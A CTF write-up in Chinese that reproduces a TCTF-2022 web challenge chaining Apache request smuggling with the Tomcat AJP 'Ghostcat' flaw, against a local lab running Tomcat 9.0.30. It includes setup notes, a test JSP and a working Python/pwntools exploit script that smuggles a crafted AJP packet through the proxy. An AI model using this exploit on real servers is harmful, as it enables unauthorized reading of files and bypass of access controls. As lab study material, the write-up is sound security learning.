0CTF/TCTF-2022 Web复现

Where are you from?

一道TCTF的题目，考点ajp走私+幽灵猫

环境搭建

由于本题没有docker，只能自己本地搭一个

Tomcat 9.0.30 服务器

该漏洞修复版本为9.0.31，这里选用9.0.30

在server.xml中使用默认配置开启ajp端口8009（不对外暴露，只有反代可以访问）

Apache 2.4.43 反向代理

作反代，/cat路由代理到8009端口上

index.jsp

<html>
<body>
<h2>
    <%
        out.println("hhhhhhhhh, it's tomcat!!");
        String remote_addr = request.getRemoteAddr();
        if (remote_addr.equals("8.8.8.8"))
        {
            String flag = "flag{test}";//原题中这里是从环境变量中获取，无法读源码获得
            out.println(flag);
        } else
        {
            out.println(remote_addr);
        }
    %>
</h2>

</body>
</html>

攻击流程

读取源码

访问/cat路由可以看到apache版本，在ajp走私的攻击范围

先构造要走私请求，参考github.com

先尝试读index.jsp，请求的url设置为/1，保证进入DefaultServlet中处理

调整请求头的ua来把长度凑成0x202

把生成的ajp数据包去掉开头的六个字节就是我们要发送的body

将要发送的body写入文件中，再利用走私发给反代

import binascii
from pwn import *


def request_prepare():
    hexdata = open("1.txt", "rb").read()
    mydata = binascii.unhexlify(hexdata)
    req = b'''POST /cat/ HTTP/1.1\r
Host: 192.168.142.129:8000\r
User-Agent: curl/7.84.0\r
Accept: */*\r
Content-Type: application/x-www-form-urlencoded\r
Transfer-Encoding: a, chunked\r
\r
202\r
'''
    req += mydata
    req += b'''\r
0\r
\r\n'''
    print(len(mydata))
    # print(req)
    return req


def send_and_recive(req):
    rec = b''
    ip = '192.168.142.129'
    port = 8000
    p = remote(ip, int(port))
    p.send(req)
    rec += p.recv()
    print(rec.decode())
    p.close()
    return rec.decode()


req = request_prepare()
print(req)
f = open('req.txt', 'wb')
f.write(req)
f.close()
res = send_and_recive(req)
f = open('res.txt', 'wb')
f.write(res.encode())
f.close()